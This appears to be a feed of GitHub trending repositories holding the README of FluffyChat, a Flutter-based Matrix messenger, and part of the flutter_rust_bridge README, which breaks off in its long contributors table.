krille-chan/fluffychat - 2023-09-24T01:48:43Z - tag:github.com,2023-09-24:/krille-chan/fluffychat - - <p>The cutest instant messenger in the [matrix]</p><hr><p><img src="https://github.com/krille-chan/fluffychat/raw/main/assets/banner_transparent.png?raw=true" alt="Screenshot"></p> <p><a href="https://fluffychat.im">FluffyChat</a> is an open source, nonprofit and cute [<a href="https://matrix.org">matrix</a>] client written in <a href="https://flutter.dev">Flutter</a>. The goal of the app is to create an easy to use instant messenger which is open source and accessible for everyone.</p> <h3>Links:</h3> <ul> <li>🌐 <a href="https://hosted.weblate.org/projects/fluffychat/">[Weblate] Translate FluffyChat into your language</a></li> <li>🌍 <a href="https://matrix.to/#/#fluffychat:matrix.org">[m] Join the community</a></li> <li>📰 <a href="https://mastodon.art/@krille">[Mastodon] Get updates on social media</a></li> <li>🖥️ <a href="https://famedly.com/kontakt">[Famedly] Server hosting and professional support</a></li> <li>💝 <a href="https://de.liberapay.com/KrilleChritzelius">[Liberapay] Support FluffyChat development</a></li> </ul> <p><a href="https://ko-fi.com/C1C86VN53" target="_blank"><img height="36" style="border:0px;height:36px;" src="https://storage.ko-fi.com/cdn/kofi5.png?v=3" border="0" alt="Buy Me a Coffee at ko-fi.com"></a></p> <h3>Screenshots:</h3> <p><img src="https://github.com/krille-chan/fluffychat/raw/main/docs/screenshots/product.jpeg?raw=true" alt="Screenshot"></p> <h1>Features</h1> <ul> <li>📩 Send all kinds of messages, images and files</li> <li>🎙️ Voice messages</li> <li>📍 Location sharing</li> <li>🔔 Push notifications</li> <li>💬 Unlimited private and public group chats</li> <li>📣 Public channels with thousands of participants</li> <li>🛠️ Feature rich group moderation including all matrix features</li> <li>🔍 Discover and join public groups</li> <li>🌙 Dark mode</li> <li>🎨 Material You design</li> <li>📟 Hides complexity of Matrix IDs behind simple QR codes</li> <li>😄 Custom emotes and stickers</li> <li>🌌 Spaces</li> <li>🔄 Compatible with Element, Nheko, NeoChat and all other Matrix apps</li> <li>🔐 End to end encryption</li> <li>🔒 Encrypted chat backup</li> <li>😀 Emoji verification &amp; cross signing</li> </ul> <p>... and much more.</p> <h1>Installation</h1> <p>Please visit the website for installation instructions:</p> <ul> <li><a href="https://fluffychat.im">https://fluffychat.im</a></li> </ul> <h1>How to build</h1> <p>Please visit the <a href="https://github.com/krille-chan/fluffychat/wiki">Wiki</a> for build instructions:</p> <ul> <li><a href="https://github.com/krille-chan/fluffychat/wiki/How-To-Build">https://github.com/krille-chan/fluffychat/wiki/How-To-Build</a></li> </ul> <h1>Special thanks</h1> <ul> <li> <p><a href="https://github.com/fabiyamada">Fabiyamada</a> is a graphics designer from Brasil and has made the fluffychat logo and the banner. Big thanks for her great designs.</p> </li> <li> <p><a href="https://github.com/advocatux">Advocatux</a> has made the Spanish translation with great love and care. He always stands by my side and supports my work with great commitment.</p> </li> <li> <p>Thanks to MTRNord and Sorunome for developing.</p> </li> <li> <p>Also thanks to all translators and testers! With your help, fluffychat is now available in more than 12 languages.</p> </li> <li> <p><a href="https://github.com/googlefonts/noto-emoji/">Noto Emoji Font</a> for the awesome emojis.</p> </li> <li> <p><a href="https://github.com/madsrh/WoodenBeaver">WoodenBeaver</a> sound theme for the notification sound.</p> </li> <li> <p>The Matrix Foundation for making and maintaining the <a href="https://github.com/matrix-org/matrix-doc/raw/main/data-definitions/sas-emoji.json">emoji translations</a> used for emoji verification, licensed Apache 2.0</p> </li> </ul> - - - fzyzcjy/flutter_rust_bridge - 2023-09-24T01:48:43Z - tag:github.com,2023-09-24:/fzyzcjy/flutter_rust_bridge - - <p>High-level memory-safe binding generator for Flutter/Dart <-> Rust</p><hr><h1><a href="https://github.com/fzyzcjy/flutter_rust_bridge">flutter_rust_bridge</a>: High-level memory-safe binding generator for Flutter/Dart &lt;-&gt; Rust</h1> <p><a href="https://crates.io/crates/flutter_rust_bridge"><img src="https://img.shields.io/crates/v/flutter_rust_bridge.svg?sanitize=true" alt="Rust Package"></a> <a href="https://pub.dev/packages/flutter_rust_bridge"><img src="https://img.shields.io/pub/v/flutter_rust_bridge.svg?sanitize=true" alt="Flutter Package"></a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge"><img src="https://img.shields.io/github/stars/fzyzcjy/flutter_rust_bridge" alt="Stars"></a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/actions/workflows/ci.yaml"><img src="https://github.com/fzyzcjy/flutter_rust_bridge/actions/workflows/ci.yaml/badge.svg?sanitize=true" alt="CI"></a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/actions/workflows/post_release.yaml"><img src="https://github.com/fzyzcjy/flutter_rust_bridge/actions/workflows/post_release.yaml/badge.svg?sanitize=true" alt="Example"></a> <a href="https://app.codacy.com/gh/fzyzcjy/flutter_rust_bridge?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=fzyzcjy/flutter_rust_bridge&amp;utm_campaign=Badge_Grade_Settings"><img src="https://api.codacy.com/project/badge/Grade/6afbdad19e7245adbf9e9771777be3d7" alt="Codacy Badge"></a></p> <p><a href="https://flutter.dev/docs/development/packages-and-plugins/favorites"><img src="https://github.com/fzyzcjy/flutter_rust_bridge/raw/master/book/flutter_favorite.png" width="200"></a></p> <p><img src="https://github.com/fzyzcjy/flutter_rust_bridge/raw/master/book/logo.png" alt="Logo"></p> <p>Want to combine the best between <a href="https://flutter.dev/">Flutter</a>, a cross-platform hot-reload rapid-development UI toolkit, and <a href="https://www.rust-lang.org/">Rust</a>, a language empowering everyone to build reliable and efficient software? Here it comes!</p> <h2>🚀 Advantages</h2> <ul> <li><strong>Memory-safe</strong>: Never need to think about malloc/free.</li> <li><strong>Feature-rich</strong>: <code>enum</code>s with values, platform-optimized <code>Vec</code>, possibly recursive <code>struct</code>, zero-copy big arrays, opaque types on arbitrary structs/classes, <code>Stream</code> (iterator) abstraction, error (<code>Result</code>) handling, cancellable tasks, concurrency control, and more. See full features <a href="https://fzyzcjy.github.io/flutter_rust_bridge/feature.html">here</a>.</li> <li><strong>Async programming</strong>: Rust code will never block the Flutter. Call Rust naturally from Flutter's main isolate (thread); sync mode also equally supported.</li> <li><strong>Lightweight</strong>: This is not a huge framework that includes everything, so you are free to use your favorite Flutter and Rust libraries. <sub>For example, state-management with Flutter library (e.g. MobX) can be elegant and simple (contrary to implementing in Rust); implementing a photo manipulation algorithm in Rust will be fast and safe (countrary to implementing in Flutter).</sub></li> <li><strong>Cross-platform</strong>: Android, iOS, Windows, Linux, MacOS, and Web.</li> <li><strong>Easy to code-review &amp; convince yourself</strong>: This package simply simulates how humans write boilerplate code. If you want to convince yourself (or your team) that it is safe, there is not much code to look at. No magic at all! (<a href="https://fzyzcjy.github.io/flutter_rust_bridge/safety.html">More about</a> safety concerns.)</li> <li><strong>Fast</strong>: It is only a thin (though feature-rich) wrapper, without overhead such as protobuf serialization, thus performant. (More <a href="https://github.com/fzyzcjy/flutter_rust_bridge/issues/318#issuecomment-1034536815">benchmarks</a> later) <small>(Throw away components like thread-pool to make it even faster)</small></li> <li><strong>Pure-Dart compatible:</strong> Despite the name, this package is 100% compatible with <a href="https://github.com/fzyzcjy/flutter_rust_bridge/raw/master/frb_example/pure_dart/README.md">pure</a> Dart.</li> </ul> <h2>💡 User Guide</h2> <p>Check out <a href="https://fzyzcjy.github.io/flutter_rust_bridge/">the user guide</a> for <a href="https://fzyzcjy.github.io/flutter_rust_bridge/quickstart.html">show-me-the-code</a>, <a href="https://fzyzcjy.github.io/flutter_rust_bridge/tutorial_with_flutter.html">tutorials</a>, <a href="https://fzyzcjy.github.io/flutter_rust_bridge/feature.html">features</a> and much more.</p> <h2>📎 P.S. Achieve ~60 FPS, no matter how janky the Flutter app was due to build/layout</h2> <p>Here is my another open-source library :) <a href="https://github.com/fzyzcjy/flutter_smooth">https://github.com/fzyzcjy/flutter_smooth</a>.</p> <h2>✨ Contributors</h2> <!-- ALL-CONTRIBUTORS-BADGE:START - Do not remove or modify this section --> <p><a href="https://raw.githubusercontent.com/fzyzcjy/flutter_rust_bridge/master/#contributors-"><img src="https://img.shields.io/badge/all_contributors-74-orange.svg?style=flat-square" alt="All Contributors"></a></p> <!-- ALL-CONTRIBUTORS-BADGE:END --> <p>Thanks goes to these wonderful people (<a href="https://allcontributors.org/docs/en/emoji-key">emoji key</a> following <a href="https://github.com/all-contributors/all-contributors">all-contributors</a> specification):</p> <!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section --> <!-- prettier-ignore-start --> <!-- markdownlint-disable --> <table> <tbody> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/fzyzcjy"><img src="https://avatars.githubusercontent.com/u/5236035?v=4?s=100" width="100px;" alt="fzyzcjy"><br><sub><b>fzyzcjy</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=fzyzcjy" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=fzyzcjy" title="Documentation">📖</a> <a href="https://raw.githubusercontent.com/fzyzcjy/flutter_rust_bridge/master/#example-fzyzcjy" title="Examples">💡</a> <a href="https://raw.githubusercontent.com/fzyzcjy/flutter_rust_bridge/master/#ideas-fzyzcjy" title="Ideas, Planning, &amp; Feedback">🤔</a> <a href="https://raw.githubusercontent.com/fzyzcjy/flutter_rust_bridge/master/#maintenance-fzyzcjy" title="Maintenance">🚧</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Desdaemon"><img src="https://avatars.githubusercontent.com/u/36768030?v=4?s=100" width="100px;" alt="Viet Dinh"><br><sub><b>Viet Dinh</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Desdaemon" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Desdaemon" title="Tests">⚠️</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Desdaemon" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/SecondFlight"><img src="https://avatars.githubusercontent.com/u/6700184?v=4?s=100" width="100px;" alt="Joshua Wade"><br><sub><b>Joshua Wade</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=SecondFlight" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/smw-wagnerma"><img src="https://avatars.githubusercontent.com/u/66412697?v=4?s=100" width="100px;" alt="Marcel"><br><sub><b>Marcel</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=smw-wagnerma" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/rustui"><img src="https://avatars.githubusercontent.com/u/90625190?v=4?s=100" width="100px;" alt="rustui"><br><sub><b>rustui</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=rustui" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://adventures.michaelfbryan.com/"><img src="https://avatars.githubusercontent.com/u/17380079?v=4?s=100" width="100px;" alt="Michael Bryan"><br><sub><b>Michael Bryan</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Michael-F-Bryan" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://bus710.net"><img src="https://avatars.githubusercontent.com/u/8920680?v=4?s=100" width="100px;" alt="bus710"><br><sub><b>bus710</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=bus710" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://scholar.google.com/citations?user=RbAto7EAAAAJ"><img src="https://avatars.githubusercontent.com/u/1213857?v=4?s=100" width="100px;" alt="Sebastian Urban"><br><sub><b>Sebastian Urban</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=surban" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/trobanga"><img src="https://avatars.githubusercontent.com/u/8888869?v=4?s=100" width="100px;" alt="Daniel"><br><sub><b>Daniel</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=trobanga" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/AlienKevin"><img src="https://avatars.githubusercontent.com/u/22850071?v=4?s=100" width="100px;" alt="Kevin Li"><br><sub><b>Kevin Li</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=AlienKevin" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=AlienKevin" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://valeth.me"><img src="https://avatars.githubusercontent.com/u/3198362?v=4?s=100" width="100px;" alt="Patrick Auernig"><br><sub><b>Patrick Auernig</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=valeth" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://antonok.com"><img src="https://avatars.githubusercontent.com/u/22821309?v=4?s=100" width="100px;" alt="Anton Lazarev"><br><sub><b>Anton Lazarev</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=antonok-edm" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Unoqwy"><img src="https://avatars.githubusercontent.com/u/65187632?v=4?s=100" width="100px;" alt="Unoqwy"><br><sub><b>Unoqwy</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Unoqwy" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://feber.dev"><img src="https://avatars.githubusercontent.com/u/1727318?v=4?s=100" width="100px;" alt="Febrian Setianto"><br><sub><b>Febrian Setianto</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=feber" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Syndim"><img src="https://avatars.githubusercontent.com/u/835035?v=4?s=100" width="100px;" alt="syndim"><br><sub><b>syndim</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=syndim" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/sagudev"><img src="https://avatars.githubusercontent.com/u/16504129?v=4?s=100" width="100px;" alt="sagu"><br><sub><b>sagu</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=sagudev" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=sagudev" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://bandism.net/"><img src="https://avatars.githubusercontent.com/u/22633385?v=4?s=100" width="100px;" alt="Ikko Ashimine"><br><sub><b>Ikko Ashimine</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=eltociear" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/alanlzhang"><img src="https://avatars.githubusercontent.com/u/59032810?v=4?s=100" width="100px;" alt="alanlzhang"><br><sub><b>alanlzhang</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=alanlzhang" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=alanlzhang" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/sccheruku"><img src="https://avatars.githubusercontent.com/u/5800058?v=4?s=100" width="100px;" alt="Sai Chaitanya"><br><sub><b>Sai Chaitanya</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=sccheruku" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://ares.zone (国内)"><img src="https://avatars.githubusercontent.com/u/40336192?v=4?s=100" width="100px;" alt="Ares Andrew"><br><sub><b>Ares Andrew</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=TENX-S" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/raphaelrobert"><img src="https://avatars.githubusercontent.com/u/9882746?v=4?s=100" width="100px;" alt="raphaelrobert"><br><sub><b>raphaelrobert</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=raphaelrobert" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/thomas725"><img src="https://avatars.githubusercontent.com/u/68635351?v=4?s=100" width="100px;" alt="thomas725"><br><sub><b>thomas725</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=thomas725" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://dport.me"><img src="https://avatars.githubusercontent.com/u/7816187?v=4?s=100" width="100px;" alt="Daniel Porteous (dport)"><br><sub><b>Daniel Porteous (dport)</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=banool" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/w-ensink"><img src="https://avatars.githubusercontent.com/u/46427708?v=4?s=100" width="100px;" alt="Wouter Ensink"><br><sub><b>Wouter Ensink</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=w-ensink" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/dbsxdbsx"><img src="https://avatars.githubusercontent.com/u/17372655?v=4?s=100" width="100px;" alt="老董"><br><sub><b>老董</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=dbsxdbsx" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=dbsxdbsx" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/lattice0"><img src="https://avatars.githubusercontent.com/u/6632321?v=4?s=100" width="100px;" alt="Lattice 0"><br><sub><b>Lattice 0</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=lattice0" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=lattice0" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://soeur.dev"><img src="https://avatars.githubusercontent.com/u/26034975?v=4?s=100" width="100px;" alt="orange soeur"><br><sub><b>orange soeur</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=juzi5201314" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Roms1383"><img src="https://avatars.githubusercontent.com/u/21016014?v=4?s=100" width="100px;" alt="Rom's"><br><sub><b>Rom's</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Roms1383" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Roms1383" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Cupnfish"><img src="https://avatars.githubusercontent.com/u/40173605?v=4?s=100" width="100px;" alt="Cupnfish"><br><sub><b>Cupnfish</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Cupnfish" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/SoLongAndThanksForAllThePizza"><img src="https://avatars.githubusercontent.com/u/103753680?v=4?s=100" width="100px;" alt="SoLongAnd..."><br><sub><b>SoLongAnd...</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=SoLongAndThanksForAllThePizza" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=SoLongAndThanksForAllThePizza" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Stonks3141"><img src="https://avatars.githubusercontent.com/u/82178396?v=4?s=100" width="100px;" alt="Sam Nystrom"><br><sub><b>Sam Nystrom</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Stonks3141" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://i.hsfzxjy.site"><img src="https://avatars.githubusercontent.com/u/4702188?v=4?s=100" width="100px;" alt="hsfzxjy"><br><sub><b>hsfzxjy</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=hsfzxjy" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://tmpfs.org"><img src="https://avatars.githubusercontent.com/u/238069?v=4?s=100" width="100px;" alt="muji"><br><sub><b>muji</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=tmpfs" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Zaitam"><img src="https://avatars.githubusercontent.com/u/71014214?v=4?s=100" width="100px;" alt="Zaitam"><br><sub><b>Zaitam</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Zaitam" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/alexthe2"><img src="https://avatars.githubusercontent.com/u/33789063?v=4?s=100" width="100px;" alt="Alex Procelewski"><br><sub><b>Alex Procelewski</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=alexthe2" title="Documentation">📖</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=alexthe2" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://matrix.to/#/@vincentherl:matrix.org"><img src="https://avatars.githubusercontent.com/u/5569193?v=4?s=100" width="100px;" alt="Vincent Herlemont"><br><sub><b>Vincent Herlemont</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=vincent-herlemont" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/CicadaCinema"><img src="https://avatars.githubusercontent.com/u/52425971?v=4?s=100" width="100px;" alt="CicadaCinema"><br><sub><b>CicadaCinema</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=CicadaCinema" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=CicadaCinema" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/rogurotus"><img src="https://avatars.githubusercontent.com/u/61418195?v=4?s=100" width="100px;" alt="rogurotus"><br><sub><b>rogurotus</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=rogurotus" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=rogurotus" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/huang12zheng"><img src="https://avatars.githubusercontent.com/u/28038074?v=4?s=100" width="100px;" alt="huang12zheng"><br><sub><b>huang12zheng</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=huang12zheng" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=huang12zheng" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://svenstaro.org"><img src="https://avatars.githubusercontent.com/u/1664?v=4?s=100" width="100px;" alt="Sven-Hendrik Haase"><br><sub><b>Sven-Hendrik Haase</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=svenstaro" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ngasull"><img src="https://avatars.githubusercontent.com/u/912991?v=4?s=100" width="100px;" alt="Nicolas Gasull"><br><sub><b>Nicolas Gasull</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=ngasull" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/codercengiz"><img src="https://avatars.githubusercontent.com/u/45819755?v=4?s=100" width="100px;" alt="codercengiz"><br><sub><b>codercengiz</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=codercengiz" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://www.floeschner.de/"><img src="https://avatars.githubusercontent.com/u/12967904?v=4?s=100" width="100px;" alt="Fabian Löschner"><br><sub><b>Fabian Löschner</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=w1th0utnam3" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://gsconrad.com"><img src="https://avatars.githubusercontent.com/u/15874617?v=4?s=100" width="100px;" alt="Gregory Conrad"><br><sub><b>Gregory Conrad</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=GregoryConrad" title="Documentation">📖</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=GregoryConrad" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.zaynetro.com/"><img src="https://avatars.githubusercontent.com/u/627197?v=4?s=100" width="100px;" alt="Roman Zaynetdinov"><br><sub><b>Roman Zaynetdinov</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=zaynetro" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/jsonmona"><img src="https://avatars.githubusercontent.com/u/105187344?v=4?s=100" width="100px;" alt="jsonmona"><br><sub><b>jsonmona</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=jsonmona" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/utilForever"><img src="https://avatars.githubusercontent.com/u/5622661?v=4?s=100" width="100px;" alt="Chris Ohk"><br><sub><b>Chris Ohk</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=utilForever" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Demezy"><img src="https://avatars.githubusercontent.com/u/38487319?v=4?s=100" width="100px;" alt="._."><br><sub><b>._.</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Demezy" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/elliotsayes"><img src="https://avatars.githubusercontent.com/u/7699058?v=4?s=100" width="100px;" alt="elliotsayes"><br><sub><b>elliotsayes</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=elliotsayes" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/temeddix"><img src="https://avatars.githubusercontent.com/u/66480156?v=4?s=100" width="100px;" alt="Kim Dong-Hyun"><br><sub><b>Kim Dong-Hyun</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=temeddix" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=temeddix" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Voklen"><img src="https://avatars.githubusercontent.com/u/56766748?v=4?s=100" width="100px;" alt="Alex Gorichev"><br><sub><b>Alex Gorichev</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=Voklen" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/nitn3lav"><img src="https://avatars.githubusercontent.com/u/77448526?v=4?s=100" width="100px;" alt="nitn3lav"><br><sub><b>nitn3lav</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=nitn3lav" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=nitn3lav" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/polypixeldev"><img src="https://avatars.githubusercontent.com/u/79737178?v=4?s=100" width="100px;" alt="polypixeldev"><br><sub><b>polypixeldev</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=polypixeldev" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/anstadnik"><img src="https://avatars.githubusercontent.com/u/40110937?v=4?s=100" width="100px;" alt="Andrii Stadnik"><br><sub><b>Andrii Stadnik</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=anstadnik" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/coder0xff"><img src="https://avatars.githubusercontent.com/u/2261949?v=4?s=100" width="100px;" alt="Brent Lewis"><br><sub><b>Brent Lewis</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=coder0xff" title="Code">💻</a> <a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=coder0xff" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/erikas-taroza"><img src="https://avatars.githubusercontent.com/u/68450090?v=4?s=100" width="100px;" alt="Erikas Taroza"><br><sub><b>Erikas Taroza</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=erikas-taroza" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/escwxyz"><img src="https://avatars.githubusercontent.com/u/124119483?v=4?s=100" width="100px;" alt="J"><br><sub><b>J</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=escwxyz" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://monitzer.com"><img src="https://avatars.githubusercontent.com/u/644763?v=4?s=100" width="100px;" alt="Andreas Monitzer"><br><sub><b>Andreas Monitzer</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=anlumo" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://satvikpendem.com"><img src="https://avatars.githubusercontent.com/u/42670561?v=4?s=100" width="100px;" alt="Satvik Pendem"><br><sub><b>Satvik Pendem</b></sub></a><br><a href="https://github.com/fzyzcjy/flutter_rust_bridge/commits?author=satvikpendem" title="Code">💻</a></td> <td 